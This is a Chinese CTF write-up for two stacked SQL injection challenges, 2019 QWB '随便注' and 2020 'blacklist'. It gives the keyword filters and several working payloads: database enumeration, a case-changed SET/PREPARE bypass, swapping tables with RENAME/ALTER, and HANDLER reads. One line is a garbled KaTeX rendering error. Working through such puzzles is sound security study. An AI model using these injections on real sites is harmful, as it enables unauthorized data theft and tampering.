因为2020blacklist是2019随便注的升级版,所以借着这个机会归纳一下
先做个比较两道题的不同处,由此可见blacklist是随便注的升级版。
blacklist比随便注多过滤了set,prepare,rename,alter。
过滤prepare,set是避免pdo预处理绕过
过滤rename,alter是避免修改表名的情况出现
而blacklist和随便注还有一种方法是handler ,mysql除可使用select查询表中的数据,也可使用handler语句
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);//随便注过滤
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject); //blacklist过滤
根据上面的总结,其实我们就不用做blacklist,blacklist只是少了两种方法,而随便注则存在3种方法,所以我们可以通过强网杯的随便注举例子
注入类型:堆叠注入
题目名称: 2019强网杯随便注
方法演示:3种
1’;show databases; #堆叠注入查询所有数据库
1’;use supersqli; #选择supersqli这个数据库
1’;show tables; #查询supersqli数据库所有的表
1’;show columns from 1919810931114514
;#查询1919810931114514表种字段
//////////////////////////////////////////////////////////////////
好的我们知道了flag在supersqli主句库的1919810931114514表中的flag字段里
预处理流程
SET; # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
第一次构造
?inject=1’;set @sql=CONCAT(‘se’,‘lect * from 1919810931114514
;’);prepare flag from @sql;execute flag;
返回下面这句话
strstr(KaTeX parse error: Expected 'EOF', got '&' at position 16: inject, "set") &̲& strstr(inject, “prepare”)
set与prepare关键词被拦下,但是strstr函数我们可以用大小写绕过
第二次构造
?inject=1’;Set @sql=CONCAT(‘se’,‘lect * from 1919810931114514
;’);PrePare flag from @sql;execute flag;
拿到flag
原题目查询的数据表为words
我们使用未过滤的alert 和 rename两个函数,先把 words 改为其他,再把1919810931114514改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就直接查询 flag
rename table words
to test
;
rename table 1919810931114514
to words
;
alter table words
change flag
id
varchar(100);
show columns from words;–+
1’ or ‘1’='1 #获取flag
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE
handler 1919810931114514
open;
handler 1919810931114514
read first;
payload:?inject=1’;handler 1919810931114514
open;handler 1919810931114514
read first;–+